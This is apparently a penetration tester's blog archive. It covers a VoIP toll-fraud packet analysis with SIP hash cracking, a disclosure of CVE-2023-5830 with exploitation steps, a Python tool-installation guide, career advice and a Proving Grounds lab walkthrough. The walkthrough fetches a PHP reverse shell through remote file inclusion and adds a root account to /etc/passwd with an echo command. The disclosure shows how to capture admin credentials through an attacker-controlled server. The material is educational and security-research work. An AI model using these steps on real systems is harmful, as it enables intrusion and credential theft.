What is a Toll Fraud Attack?

To put it simply, Toll fraud attacks involve hackers exploiting vulnerabilities or weak configurations in a telephony or VoIP system to route calls through the victim’s infrastructure, often to premium-rate numbers, or high-cost locations around the globe while generating revenue for the attacker at the victim's expense.

To put this in more technical terms, I learned that these attacks typically can occur when hackers identify a weakness and/or a misconfiguration in an internet facing asset which exposes Port 5060 TCP/UDP or 5061 TCP/UDP. Many of these attacks start with simple SIP requests such as INVITE, REGISTER, OPTIONS, METHOD to observe how the SIP server responds. After attackers identify a viable victim SIP server to interact with, attackers can perform some of the following to further their access:

• Extension brute forcing - Attacker try's to send SIP REGISTER requests to every possible extension to find valid extensions.

• Password Guessing - With a list of valid extensions attackers can fuzz for known combinations of easily guessable/default user:pass combinations

• Password Spraying - Trying a small list of common passwords against a large list of valid extensions

• Denial-of-Service - Can be performed by sending large amounts of INVITE requests to the SIP server

• VLAN Hopping - In an improperly configured network, it is possible for an attacker to jump from a VoIP network into the internal 'office' network.

Key Terms

Since the world of VoIP and SIP was brand new to me in this exercise, I bet it’s likely new to a lot of folks reading. To help, I’ve tried to highlight some of the basic terminology here for you:

• SIP (Session Initiation Protocol): SIP is basically a communication protocol used for initiating, maintaining, and terminating voice and video calls, over the internet. SIP is a key component of VoIP systems.

• VoIP (Voice over Internet Protocol): VoIP is a technology that allows voice communication to be delivered over the internet instead of traditional phone lines. Think about a product like Google Voice here.

• SoftPhone - You might have heard of “softphones” before. A SoftPhone is just a software application that lets you make calls over the internet, likely from your computer. Think of something like Zoiper or Cisco Jabber

  • 

• PBX (Private Branch Exchange): A PBX (or PBX system) is essentially a private telephone network used within a company or organization. A PBX system manages internal and external calls, enabling features like voicemail, call forwarding, and conferencing. Modern PBX systems often use VoIP technologies, making them vulnerable to toll fraud if not secured properly.

• Asterisk - Commonly referred to as an “Asterisk Server”, Asterisk itself is an open-source software framework often bundled or integrated into various telephony solutions. Some examples of PBX solutions include FreePBX, 3CX and Vicidial. For additional clarity - an Asterisk server runs PBX software (it can be configured to be a PBX), but not all PBX systems are Asterisk-based.

Analysis

With some background out of the way, lets dive into the analysis. I was provided a packet capture file which was collected as the security incident occurred. I did some research into some common SIP-focused exploitation tools, their use case, and ultimately routed my reading back into the types of attacks performed - which helped me understand what I was looking for within the Wireshark capture.

Call Flow 1

Opening our Wireshark capture, we started by simply filtering for SIP specific traffic - since that’s most likely where we would find information regarding authentication flow and recurring activity.

Above we can see various SIP requests, some 200 OK’s, some 403 forbidden’s and even some INVITE requests.

There’s a lot going on in this capture file, so we first tried zeroing in on a specific conversation to get our bearings, lets take this specific SIP call flow for example

Above we can see one specific call (or rather attempted call that was placed). We see the conversation was initiated with an INVITE request, followed by both a Trying and Ringing packet. I’m no SIP expert, but I imagine this is quite literally what it looks like when a call is made. Ultimately we can see the call failed.

Was this an attacker making a call and failing? Or was this an employee making a standard business call and the user on the other end just didn’t pick up…lets look closer. By expanding the 503 Service Unavailable packets we can actually see the call was rejected based on data in the X-Asterisk-HangupCause header.

Cool cool, okay we can follow a call flow at least, but what in here can we look for that helps us find security issues? Well as we previously mentioned, SIP authentication uses extensions as usernames. And where there are usernames…there are passwords…and where there are passwords…well we can guess em!

Think of an extension like a phone number inside a company’s phone system. For example:

• Extension 1001 could be Bob’s phone.

• Extension 1002 could be Sally’s phone.

SIP authentication is how SIP/PBX servers (like Asterisk) verify that a user (or phone/softphone) is who they say they are before letting them make or receive calls. In the SIP INVITE packet below, we can see the username/extension making the call, extension 700.

In order to find the password that is being sent back and forth in these SIP conversations we need to look for a SIP REGISTER packet. Unfortunately there was no REGISTER packet in this call flow so two things likely happened here:

1. Either the SIP server doesn’t require authentication for this INVITE. (maybe the packet capture was started after authentication?)

2. Authentication may have already occurred during SIP registration, and the system considers extension 700 authenticated.

Lets take a look at another call flow

Call Flow 2

In this call flow we have a little more going on, we see the conversation is initiated by an INVITE once again, Lets take a look at the first INVITE request to see who is making the call.

Inside of the INVITE packet we see the user or extension 701 initiating this call. Looking back at the call flow, we see an INVITE, followed by a 401 Unauthorized.

The SIP server responds with a 401 Unauthorized message. This doesn’t yet mean the call is denied — it's actually part of a normal process called digest authentication. The server is essentially asking extension 701 to prove it has the correct credentials before continuing.

To do this, the server sends a unique code (called a nonce) that the client must use to create a hashed password response. We can see this information passed inside of the 401 Unauthorized packet.

Extension 701 acknowledges (as we can see by the ACK response in the call flow) the challenge and sends another INVITE request, this time including the Authorization header. The header contains the username, nonce, and a hashed version of the password. This is the client’s way of proving its identity.

Ultimately, as we look at the call flow above, we know that this call ends in a series of 403 Forbidden errors. While I wasn’t able to get to the root cause of why this specific call failed, a few possible reasons include:

• Authentication Failure:

  • Even though the client responded to the challenge, the server may be rejecting the hashed password due to incorrect credentials or a mismatch with what it expects.

• Dial Plan Restrictions:

  • The server may have rules in place that block calls to specific destinations, such as international or premium-rate numbers.

• Blacklisting:

  • The server could have blacklisted either the calling extension (701) or the destination number (**********0344).

Regardless, this is good information and brings us to the next step in our analysis. Extracting SIP Digest Authentication messages with SIPDump.

Identification of Weak Extension/User passwords Used for SIP Authentication

As we’ve already covered, In the world of VoIP and SIP, every user that requires access to telephony systems are likely assigned a SIP account which contains the extension (username), password and address of the SIP server.

Thinking critically here, we can already start to formulate a potential attack vector (looking at you password guessing/spraying). Say an attacker successfully identifies an exposed SIP sever, given the usage of usernames (AKA extensions) and passwords as an authentication mechanism, it could be possible for an attacker to find default/weak username and password configurations.

A common misconfiguration here involves SIP usernames configured with no password at all (null password) or configured to have the username and password match. Both of these examples are easily discoverable.

With the provided Wireshark packet capture file confirmed to have contained multiple call flows with multiple authentication attempts, I used the tool sipdump to extract SIP digest authentications that occurred during the attack. By extracting the Digest authentications that were captured in the Wireshark data, we were able to obtain the MD5 Password Hashes for various SIP users. (Look there’s that user 701 again).

With these MD5 hashes collected, we then used the tool sipcrack to crack these MD5 Password hashes. It was actually possible to extract the clear text password for three SIP users. The passwords were the same as their respective SIP user, thus indicating weak and/or default configurations were in use which could be abused by an attacker.

We could confirm at least a few SIP accounts were simply configured to have the username/extension match the password. With this singular finding, it’s a fair bet to make that this might’ve been evidence of a larger problem within this SIP environment. From here we could already start to formulate some remediation tasks specifically targeting username and password combinations configured within this SIP environment.

Moving on, I also investigated the some traffic I saw going back and forth to the web application I could only assume was used to interact with or manage the SIP/PBX environment as a whole. References to this now-defunct software (DragonSuite) can be seen below:

Looking even further, we managed to find some unencrypted authentication requests where a user was logging into the application. Since the traffic wasn’t encrypted, we were easily able to pluck out the hashed password.

Throwing this hash into our trusty friend John the Ripper we quickly see that this user had a password of 1234.

So at this point we found that there were most definitely weak configurations regarding SIP usernames and passwords, and we also found weak passwords in use to access the application used to manage the SIP/PBX environment. Food for thought.

Lessons Learned

While my findings here didn’t necessarily halt the active attacks or indicate a definite root cause, the data within Wireshark definitely indicated that there were security concerns within this PBX system that needed to be addressed. While yes, default username/password combos were identified - using a defunct PBX solution likely didn’t help the situation. Ultimately, this exercise not only brought awareness to how some PBX systems could be misconfigured but also gave me a new and interesting learning experience.

Disclaimer: This information is being published for educational purposes only

Background

With the help of my colleague @micahvandeusen, in the late-summer of 2022 we identified and exploited a critical security vulnerability present within ColumbiaSoft's Document Locator application. This vulnerability specifically targets the client-side Server: parameter of the /api/authentication/login endpoint within the WebTools component. The nature of this flaw allows attackers to manipulate the Server: argument and effectively perform an SSRF-style attack where it is possible to receive administrative credentials to the Document Locator application instance resulting in full compromise of the data stored within.

Description of the Vulnerability

As mentioned previously, This vulnerability specifically targets the client-side Server: parameter of the /api/authentication/login endpoint within the WebTools component. By manipulating this parameter it is possible to confirm out-of-band interactions such as external DNS interactions with an arbitrary domain.

Furthermore, in conjunction with manipulating the Server: parameter, modifying the LoginType: parameter to a value of "differentwindows" can lead to a properly positioned attacker receiving clear-text administrative credentials over the MSSQL protocol. More details on exploitation can be found below.

Risk and Impact

The risk associated with CVE-2023-5830 is classified as critical with a CVSS 3.0 Base score of 9.8 due to the potential for trivial unauthorized access. Exploitation of this vulnerability can be carried out remotely, from an unauthenticated perspective and is trivial to exploit with standard tooling such as Burp Suite, Interactsh (Or burp collaborator) and Responder.

The impact of exploitation is significant as it can lead to a compromise of the integrity and confidentiality of the data managed by ColumbiaSoft Document Locator application. Given the application's role in managing sensitive documents, the exploitation of this vulnerability could have far-reaching implications for affected organizations, including data breaches and unauthorized access to confidential information.

Mitigation Strategies

In response to the discovery of CVE-2023-5830, ColumbiaSoft has released updates to mitigate this vulnerability. Specifically, upgrading to version 7.2 SP4 or 2021.1 of the Document Locator is recommended to address the security flaw effectively.

Detection

Security engineers and penetration testers can test for this vulnerability by leveraging a Nuclei template I've created here. Example execution of this template is seen below

Recommendations for Users

For organizations and individuals utilizing ColumbiaSoft Document Locator, it is imperative to promptly apply the recommended updates to mitigate the risks associated with CVE-2023-5830. Upgrading to the specified versions not only addresses this critical vulnerability but also enhances the overall security posture of the document management system.

Exploitation

Exploitation of this vulnerability is fairly simple. After identification of an application instance, capture an HTTP POST request submitted to the application in Burp suite from the login page as shown below..

After capturing the authentication request using Burp Suite's intercept module, modify the Server: parameter and paste in either a Burp Collaborator payload or an interactsh payload (in this case interactsh was used) to test for OOB DNS interaction.

Interactsh can be used to generate a URL for observing OOB interaction.

Change the Server: parameter in the request to contain the interactsh payload.

With the payload set, submit the authentication request in Burp Suite. Seen below are two DNS interactions received after submission of the authentication request.

With external DNS interaction confirmed, compromise of the application can be achieved by configuring a publicly accessible machine/VM. Services such as an AWS EC2 or Google Cloud Compute Engine can be used for this. On the publicly accessible system, ensure that an ingress firewall rule allowing TCP 1433/MSSQL traffic is enabled. Additionally, to capture the authentication request, the tool Responder should be installed.

After configuring a publicly available system, run Responder in analyze mode

With Responder running, make note of the Public IPv4 address of your system and replace the value of the Server: parameter with the IP of your system.

Now submit the authentication and you should receive cleartext administrative credentials that can be used to login to the application

As you can see, this is a pretty critical vulnerability that warrants a CVSS score of 9.8. At the time of this writing no public PoC is known aside from the Nuclei template created for detection opportunities.

Please note: This is simply an overview of the methods I use to install python-based tools based on the lessons I've learned over the years and from muscle memory. This is not a definitive or exhaustive guide on installing every single tool possible or a deep dive into the depths of package management or how to troubleshoot the plethora of errors you may encounter - just things I wish someone explained to me when I was new

If you do find any information incorrect or would like to share additional tips with me - feel free to reach out on socials - Happy Hacking

Synopsis

As a penetration tester you will generally be using a wide variety of tools written in various languages (such as python, bash, C#, C and Go) meant to be executed on different operating systems for different purposes. Learning the when, why, and how to use all these tools is another lesson in itself - for the purposes of this blog we will be covering basic tool management from the perspective of a penetration tester who uses Kali Linux in standard penetration testing scenarios and installs primarily python-based testing tools (much like myself).

Method 1: Using APT (not recommended)

The Advanced Package Tool (APT) is a package management system used primarily in Debian-based Linux distributions like Debian, Ubuntu, and their derivatives (such as Kali Linux). APT is a command-line tool that helps users install, update, and manage software packages on their Linux systems and is the default package manager for Kali Linux.

I won't be covering APT usage here as it's generally pretty easy to figure out how to install needed packages with APT. When you are new to pen-testing you may find yourself using apt to install stuff - and that's fine, I did too.

However, as I gained more experience I found that it's generally not recommended to useapt for installing python based tools. From my personal experience I found that using the apt package manager to install python tooling often lead me to "dependency hell" and caused me lot of frustration when trying to install and use tools (most likely because I didn't know what I was doing but I guess that's how you learn).

In fairness to apt, it does have it's uses from time to time such as using apt to install pipx - which we will talk more about below. Since I am writing this as if I was writing to myself three years ago, I would simply advise myself to avoid apt for things outside of simply updating your machine and base packages. That is all.

Method 2: The classic GitHub clone method (also not recommended)

In this method I will cover how I installed tools the majority of the time when I was new. For my seasoned pen-testing colleagues, the fact that this is how I installed the majority of my tools may sound alarming - and it is. However again, my goal in this blog is to simply share what I've learned over the years..including the things NOT to do.

Note: Upfront I will say that you likely shouldn't blindly clone a tool from GitHub and try to install it and run it right away - as cloning and installing right from GitHub means you are installing packages into your system-wide installation. we'll see what this means below.

If there's a tool you want to use, and you find it lives in a GitHub repository you can simply clone the repository to your machine and run it. Lets look at the tool SCCMHunter as an example.

As the description states, SCCMHunter is a post-ex tool built to streamline identifying, profiling, and attacking SCCM related assets in an Active Directory domain. This is a great tool written by a former colleague of mine - shout out to Garrett!

Let's install this tool using what I am calling the classic "Git Clone method" (which again you probably should avoid doing unless you are familiar with python package management). First we navigate to the repository where this tool lives (here) and copy the HTTPS URL to clone it.

With the URL in our clipboard we can simply open a terminal on our Kali machine (our testing machine) and clone the repository with git clone <URL>

Once the repository is cloned to our machine we can enter the directory of the repository where we see one file of note (The requirements.txt file)

With the repository cloned - lets go back to the tool's repository to take a look at the README for any installation instructions.

Here we see a set of neatly provided installation commands. For the sake of demonstration, let's just try running the tool before following the installation instructions (not recommended).

As expected the tool doesn't execute successfully and we see an error presented - not fun, but OK lets actually follow the installation instructions this time.

We run pip3 install -r requirements.txt as the installation notes state - but wait, whats this?

Numerous errors are displayed and in our frustrated stupor we decide, "eh lets just try to run it anyway."

Congrats! You've now just found yourself facing the same notorious collection of traceback errors I fought with for many many months as a new penetration tester. And better yet, your tool still doesn't work.....

So while you may find that you can sometimes successfully install and use tools using this method, understand that because you are installing into your system-wide python installation with this method, this is where you can, and will likely run into issues with overlapping dependencies or mis-matched versioning on specific modules.

So how should we go about installing our tools then?

You should always try to install your tools in a virtual environment to keep installation and dependencies isolated from your system-wide installation for the sake of 'cleanliness' and to ensure you don't find your self with broken packages on a pen-test.

Which is a perfect segway into the the third method of tool management - how to install tools using Virtual Environments!

Method 3: The "Use a virtual Environment" Method (much better and recommended)

This method of installing tools involves using a virtual environment to install the desired tool and subsequent dependencies/packages. The pros to a virtual environment are simply that you can install packages/tools without worrying about breaking things in your testing machine/environment since a virtual environment is isolated from your system-wide installation.

Back when I was brand new to pen-testing and someone told me to install a tool using a virtual environment, I really didn't know what that meant or how to go about it so let's dive into it.

For this third method I'll be demonstrating the use of Virtualenv. If you want to learn more about the differences between Virtualenv and it's alternatives check out this link: https://pythonhow.com/what/what-is-the-difference-between-venv-pyvenv-pyenv-virtualenv-virtualenvwrapper-pipenv/

Using Virtualenv

virtualenv is a third-party tool used in the Python programming language to create isolated, self-contained Python environments. These isolated environments allow you to install, manage, and isolate Python packages (tools) and dependencies.

(which means you can install tools and dependencies without worrying about breaking stuff)

Let's use SCCMHunter again in this example - but this time lets "install it in a virtual environment" - the right way.

Similarly to how we began the 2nd method of tool installation with SCCMHunter let's

1. Copy the repository URL and clone the tool to our system

2. Change directories into the SCCMHunter directory

Cool, here we are once again. To install this tool "in a virtual environment" (you can use this method for virtually any python based tools/packages) Let's start by creating a virtual environment within the SCCMHunter directory.

virtualenv --python=python3 /path/to/tool/directory

The previous command creates a new virtual environment placed in the ~/tools/sccmhunter directory and specifies that it should use Python 3 as the base interpreter. This means that the virtual environment will be isolated and configured to use Python 3 for running Python scripts and managing packages.

Great, now our virtual environment has been created. Continuing on, we now need to activate or enter our virtual environment. We can do this by executing

# Execute from within the desired tool's directory
source bin/activate

After activating, you should see the name of your virtual environment in the terminal prompt, indicating that you are now working within the virtual environment. Now, any Python packages you install or Python scripts you run will be isolated within this environment, separate from your system-wide Python installation. Lets continue with installation of SCCMHunter.

Referencing the original installation instructions, we are instructed to install any dependencies housed in the requirements.txt (this file just contains the required python modules and dependencies needed for the tool to run) file by executing

pip3 install -r requirements.txt

Previously when we tried to install all the required dependencies, we were met with an ugly series of errors - likely because our system wide installation was missing modules. However since we are now completely isolated within our sccmhunter virtual environment, the installation of dependencies executes successfully! Now we can run the tool safely from within our virtual environment.

In conclusion - when someone says to "install it in a virtual environment" this is how you can do it. Now you can take this procedure and apply it to all the various python-based tools to avoid the frustrations that come with dependency hell. When you are done with the virtual environment or need to exit one particular virtual environment before activating another simply type deactivate.

Here's a collection of the commands needed to spin up a virtual environment.

# Method 1
git clone <URL to GitHub Repo of your desired tool> /path/to/clone/repo/in 
cd /path/to/your/tool 
virtualenv --python=python3 . 
source bin/activate  
pip3 install -r requirements.txt 

#Method 2 (if there is a setup.py file present)
git clone <URL to GitHub Repo of your desired tool> /path/to/clone/repo/in 
cd /path/to/your/tool 
virtualenv --python=python3 . 
source bin/activate
pip3 install .  
#OR 
python3 setup.py install  
#Now run your tool! 

# To deactivate/leave your virtual environment
deactivate

Read more about virtualenv here!

Using Python's venv module

Virtualenv isn't the only tool you can use to install and manage python packages and python-based tools in a virtual environment. In fact python3 also contains a module called venv that can do the very same thing as virtualenv (although I just prefer virtualenv).

Using Python's venv module

See the steps below for using the python module for creating virtual environments to safely install your tools - the process is basically the same.

1. To create a virtual environment, go to your tool's directory and run the following command. This will create a new virtual environment in the folder where you cloned your tool to

   1.        python3 -m venv /path/to/tool/directory
      

2. Before you can start installing or using packages in your virtual environment you’ll need to activate it (just how we did it previously). To install and setup the tool simply follow the same steps we covered with virtualenv above.

Method 4: Using Pipx - A Slight variation of method 3 (The best method)

This brings us to Method 4 of tool management: Using pipx

pipx is a Python package that allows you to install and manage Python tools in isolated environments separate from your system-wide Python environment (similarly to virtualenv. It enables you to install and run Python tools as if they were standalone executables, making it easier to manage and update them.

Using pipx to install and manage tools has become my personal favorite method by far. This method eliminates the manual process of creating and then activating a virtual environment and instead, pipx takes care of it all automatically.

To install pipx we will need to use our old friend, the apt package manager. You can install pipx using these commands:

sudo apt install pipx
python3 -m pip install --user pipx
python3 -m pipx ensurepath
# After running the 3rd command here, you may need to re-source your path with
source ~/.zshrc

Once installed, you can confirm pipx is ready to use by running pipx -h

With pipx installed, lets install Certipy-AD as an example.

As the README states - Certipy is a fantastic offensive tool for enumerating and abusing Active Directory Certificate Services (AD CS). I have used this tool on multiple occasions to successfully compromise enterprise networks.

If you haven't already - you should read Certified Pre-Owned by Will Schroeder and Lee Christensen.

The nice thing about pipx is that it uses the PyPI (Python package index) so any package (or tool) that exists within this package index can be easily installed with ONE command. You can access the Python Package index here to see if your tool is already present.

First we confirm that certipy-ad is available for download in the PyPI index. From here installation is as easy as running a single command:

pipx install certipy-ad

Our new tool is safely and successfully installed and now we can start attacking ADCS with certipy-ad!

If you're wondering if it's really that easy - yes, yes it is. While this might not be news to some - I wish I would have known about this years ago.

"But what if the tool I want isn't listed in the PyPI index?"

That's a great question - and thankfully pipx is also able to install packages via source control (from GitHub). Lets install the same tool from Certipy's GitHub Repository.

To install a tool with pipx from Github, simply navigate to the repository and copy the repository's URL

Now we can install with pipx by running

pipx install "git+https://github.com/ly4k/Certipy.git"

And boom, just like that we have again installed certipy-ad with pipx from GitHub - and the best part of it all is that the tool gets installed into a virtual environment so we don't break anything on our machine.

Read more about using pipx here and here!

Method 5: Using Pre-Compiled Binaries

Occasionally there will be times where the author of a tool has conveniently provided us with pre-compiled, standalone executable binaries of a tool. In this case all we need to do is download the pre-compiled binary for our system and we can run the tool.

As an example, lets take a look at Kerbrute

Navigating to the 'Releases' section of this repository we can see multiple pre-compiled binaries that we can simply download and run. Since we are running this tool from a Linux machine lets select the kerbrute_linux_amd64 executable.

After downloading the executable/binary, we can use chmod +x kerbrute_linux_amd64 to make the file executable so that we can simply run it.

Now we can use Kerbrute to do Kerbrute-things.

Pre-compiled binaries are a great alternative to 'installing' tools if they are provided and available since all the necessary dependencies are already packaged into the file. This is especially the case with windows based tooling such as Mimikatz, Rubeus and others.

Great References

Below are some great references on this topic - check them out for further reading!

• Pretty Little Python Secrets - PDF Slides

• Pretty Little Python Secrets—EP 1—Installing Python Tools/ Libraries the Right Way- Marcello Salvati

In this article, I'll be sharing some of my top advice for success if you are aspiring to be a penetration tester or aspire to work in the offensive cybersecurity space. This won't be a technical piece - but an outline of broader tips for success. Let's get started!

You don't need to know everything (and you won't)

Cybersecurity in general is a vast sphere of knowledge that encompasses everything from general IT skills (helpdesk and tech support) to advanced threat emulation and exploitation skills (red teaming and malware development). It can be so easy to feel overwhelmed, lost, and frustrated. It's easy to get down on yourself in this field when you find yourself surrounded by people who know all the ins and outs of all the crazy technologies we work with every day. New exploits are constantly being exposed, new technologies are constantly popping up and being implemented. It can often feel like you are fighting a losing battle trying to keep up when everyone around you seems like they are firing on all cylinders. I know I felt this way (and still do from time to time).

The reality here is that you simply don't need to be an expert at everything - and you very likely won't (and that's ok!). Find your groove, study the material YOU need/want to learn and don't worry about looking to the left and right of you.

Learning in this field is a long-distance race, some people can run it fast, and some will run it slow. Some can run fast without breaking a sweat, and some run slower with all they've got. All that matters is that you run at your own pace!

Stay Patient with Yourself

I often found myself frustrated and angry with myself because I didn't know something and felt I wasn't able to hang with some of my more technical peers. This frustration severely hurt my ability to simply just....learn. I was constantly trying to chase the knowledge that someone else possessed instead of simply pursuing the skills and techniques I needed to succeed. After some time I realized I just needed to have a little patience with myself in my studies and my growth, one day at a time.

No matter your skill level or experience level in this field I feel it's crucial to have patience with yourself. Instead of comparing yourself to folks who have worked very hard to get to their level - focus on the things you need to be doing to be where you want to be.

Stay patient with yourself and stay consistent in your work and study. Small amounts of consistent work and study will pay dividends over the longer race.

Find a Group/Network

This one is super important, and luckily for you - it's likely the easiest! The proliferation of social media such as Reddit, discord and Twitter makes this super easy!

Finding a network or a group of friends is CRUCIAL for success in this field. Especially in a world that is largely remote - being able to casually chat, ask questions and learn from others in this field is the BEST way to learn. Here's how to get started:

• Find 1 or 2 primary discord servers and call them "home".

  • Here are a few of my favorite Cybersecurity Discord communities:

    • 0xPSec - https://discord.gg/sAmpvaGzf5

    • Republic of Hackers - https://discord.gg/RWM4uU4Xab

• Introduce yourself!

• Become a "regular", check in, say 'hi' and share resources!

• Be a sponge! Ask questions and let others know what you are working on.

Committing to an online community allows you to soak up new knowledge and resources and also opens a door for you to give back and spark some great connections.

Practice Practice Practice

Dedication to practice is what makes elite athlete's the best in their sport! It's the same with penetration testing.

Consistent practice is a non-negotiable when it comes to this field. Admittedly it can be exhausting, draining and frustrating at times, but getting yourself in a terminal, tackling a certification or messing around in a lab is the absolute best way to advance your skills. The hardest part is simply getting started.

Some of my favorite platforms to practice on include:

• TryHackMe - https://tryhackme.com/

• HackTheBox - https://www.hackthebox.com/

• TCM Security - https://tcm-sec.com/

TCM Security's PNPT certification is a fantastic introduction to the skills needed for a penetration testing role - when you are ready to dive into certifications, check them out!

As you navigate the various online learning platforms and communities you will slowly find yourself moving quicker in a terminal, troubleshooting issues quicker, asking better questions and holding valuable conversations with community members. This is a tell-tale sign you are on the right path!

Commit Yourself to the "Craft"

This may sound silly but to be successful in this field you must commit yourself to the craft and take on the persona of an eternal learner. Going back to my first point - you will never know everything, and as such, you will always be learning. The quicker you find comfort in constantly being challenged, the quicker you will be able to progress and grow and tackle more complex problems.

As you begin or progress thru your journey to a career in penetration testing know this:

• There will be long nights.

• There will be long hours.

• There will be times you are tired and confused.

• There will be things you do not know.

• There will be times you just need to step away from the terminal for a weekend (or longer)

While this might not sound super appealing, it's the feeling you get when you do start getting it and you do start firing on all cylinders and pwning real networks that really makes it all worth it.

Closing Thoughts

While I am no expert in this field - I wanted to reflect on my current journey and provide some key pieces of advice that I found crucial to my success thus far.

If you are aspiring to be a professional in this field I hope you found this advice helpful to some degree. Feel free to connect with me and reach out if you'd like to talk about what you can do to push yourself into a career in Offensive Security!

Snookums is an Intermediate rated Linux challenge on the Proving Grounds platform.

Enumeration

To kick this off we started this box with initial port enumeration using both Autorecon and Nmap to identify open ports. Below are the commands I use to kick off port-enumeration with Autorecon and Nmap

#Autorecon
sudo $(which autorecon) <Target-IP> --only-scans-dir -o autorecon --single-target --exclude-tags dirbuster

#Quick Nmap full port scan
nmap <Target-IP> -sV -p- -T4 -oN all-ports-scan

Note the --exclude-tags flag in the Autorecon command above, this will tell Autorecon to skip automatically running dirbuster when it finds http services or web applications! I recommend using this flag otherwise you might be waiting awhile!

After running our enumeration here are the ports we find ourselves faced with:

map scan report for 192.168.156.58
Host is up (0.023s latency).
Not shown: 65520 filtered tcp ports (no-response)
PORT      STATE  SERVICE     VERSION
21/tcp    open   ftp         vsftpd 3.0.2
22/tcp    open   ssh         OpenSSH 7.4 (protocol 2.0)
80/tcp    open   http        Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
111/tcp   open   rpcbind     2-4 (RPC #100000)
139/tcp   open   netbios-ssn Samba smbd 3.X - 4.X (workgroup: SAMBA)
445/tcp   open   netbios-ssn Samba smbd 3.X - 4.X (workgroup: SAMBA)
1696/tcp  closed rrifmm
3306/tcp  open   mysql       MySQL (unauthorized)
12673/tcp closed unknown
29589/tcp closed unknown
32831/tcp closed unknown
33060/tcp open   mysqlx?
41319/tcp closed unknown
41490/tcp closed unknown
45888/tcp closed unknown

We see a good number of ports here but lets not panic! We let Autorecon do most of the work so once our Autorecon scan is finished we can quickly browse the results looking for version numbers and low-hanging fruit (example below).

Of these ports, I'd be most interested in 21, 80, 139/445 and 3306 off the bat as they have the greatest chance of having misconfiguration's that may lead to credentials to use in initial access.

Above is what it looks like when reviewing the output from Autorecon - you can see it splits individual port information into their own folders for easy analysis

Lets take a look at port 80 - navigating to Port 80 we instantly see this web app is running Simple PHP Photo Gallery v0.8.

Perfect! This is a great breadcrumb to run with. After some googling we find that this application has a public PoC for an RFI vulnerability (https://www.exploit-db.com/exploits/48424).

RFI will allow us to force the web-server (this machine) to reach out to us (our kali machine) and grab a file/payload from us.

Reading thru the PoC we see at the bottom they mention the vulnerable parameter is /image.php?img=

We can test to see if RFI was actually possible by spinning up a simple python server on our Kali box and then putting our IP in the vulnerable parameter to see if we get a hit.

To spin up a simple Python HTTP server use:

python3 -m http.server <port>

After submitting the request to the web server as seen above, lets check on our python webserver to see if we received any connections.

We see we get a connection request from the target! - RFI Confirmed

Initial Access

To get our shell on the box we grabbed a copy of Ivan Sinceck's PHP reverse shell found here. We changed the ports and IP values that came hard coded into php_reverse_shell.php to the IP of our Kali IP and the port which we will server our python web server on. After starting a simple python web server we then pointed the target to our web server and specified the modified reverse shell php file in the URL.

Making a new request to the web server and providing the name of our modified reverse shell file:

Now before we hit enter here - lets make sure we have BOTH a python web server running to *serve* our file from AND and Netcat listener ready to catch our shell.

Upon submitting our request in the web browser above we see a request for shell.php (good)

And in our Netcat listener window we receive our reverse shell connection!

We've obtained initial access as the user apache

Initial access achieved! Lets move onto privilege escalation.

Privilege Escalation

With our initial access achieved - lets first stabilize our shell.

We can stabilize our shell by running the following commands:

python3 -c 'import pty; pty.spawn("/bin/bash")'
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/tmp
export TERM=xterm-256color
alias ll='ls -lsaht --color=auto'

#Run the following two steps in your KALI terminal
Ctrl + Z [To Background the Process]
stty raw -echo ; fg ; reset

#Run this final command back in our reverse shell
stty columns 200 rows 200

With our initial shell stabilized lets begin - before throwing linpeas on this box lets just take a look around. I always like to browse the /var/www/html directory - especially if there is a web application running. You can often find credentials or config files in this area.

So looking around we find a db.php file in /var/www/html which actually contains creds!

With these creds lets think about what other services we originally found on the box and where we could potentially try to login or authenticate to a service. After reviewing our port scan again we know the box is running MySQL so try to access the MySql service running on the server!

We see the credentials are valid and let us access the MySQL DB. After doing some basic MySQL DB looting we grab a hash for three users in the DB; josh, michael and serna.

After taking a second glance at the "Password Hashes" we notice that these "hashes" are simply Base64 encoded so we can use an online decoder to decode them.

After decoding - we see we get a new password!

Note that I am only showing one passwords being decoded above here - be sure to be thorough and decode all three

After decoding we ended up with clear text passwords for 3 users. Using our shell on the box we can read the /etc/passwd file. From reading this file the only user listed we recognize is michael...now that we know that michael is the only other user on the box they will be our target!

Sorry no screenshot here - but just check the /etc/passwd file and you will see

With Michael's password - we can simply login as the michael user from the shell we had as apache .

To switch users and login as michael we can run

su michael

It worked! The screenshot below confirms we've switched to the michael user.

Now with access as a new user - lets restart the whole process of privilege escalation.

For every new user we get access to it's important to start the post-exploitation/privilege escalation phase from square 0 again.

So we transfer ole-reliable Linpeas to the box and run it as the michael user! The output shows us we can write to /etc/paswd! This is a good potential Privilege-escalation vector

Great so now we've enumerated a likely privilege-escalation vector. Here is a great resource that covers how to exploit a writable /etc/passwd file.

Exploitation

First we need to generate a new password.

#Run this on the target box
openssl passwd -1 -salt root <password you make>

Then we simply write this line of text to the end of /etc/passwd, effectively creating a new user on the box with the id of the root user

#Run this on the target box
echo 'gonski:$1$test$gQpSrL2WMpgVYyf4ALPAJ/:0:0:root:/root:/bin/bash' >> /etc/passwd

We see our new user entry at the bottom of /etc/passwd (yes there are multiple gonski users...I messed up, disregard).

Now that our entry is in /etc/passwd we can just switch to the gonski user!!

Checking our group we see we have root level privileges - Snookums ROOTED.

Background

So before we get into this - I feel that it's important to touch on my background to set the scene for where in the imaginary penetration testing "skill ladder" I was when I took my exam. Not everyone starts from the same place.

The Beginning

Upon entering the Cybersecurity industry in August of 2021 I knew next to nothing about 'pentesting'. I was very very new to everything, including even just using a terminal for basic tasks. After about 7-8 months of learning on the job and an announcement from Offsec stating Active Directory would now hold a huge role in the exam, I sat down for my first OSCP attempt in April of 2022 feeling naively confident.

I will spare you the details but in short, my first exam attempt was a total wash - I was utterly unprepared in almost every aspect and struggled beyond belief with simple things - like file transferring and even getting reverse shells for example. I had only completed 4 boxes in the old-style OSCP labs. Since I spent so much time reading the course PDF and didn't get as much practice as I wanted to, I really can't count my first attempt as a 'real' attempt. Needless to say no passing score was achieved that day. however, it was at that moment that I knew one day I would be back, and this time there would be no chance of failure.

So fast forward to when I sat down for my 2nd OSCP attempt. I was no longer brand new to pentesting at this point, and I was lucky enough to already work as a penetration tester in my day job. I know most students or folks aiming for this exam won't have the luxury of the 'accelerated' learning environment I was in, so it should be noted that working as a penetration tester obviously helped me in my preparation for the OSCP. Despite this, I still spent a considerable amount of effort in preparing for my second attempt.

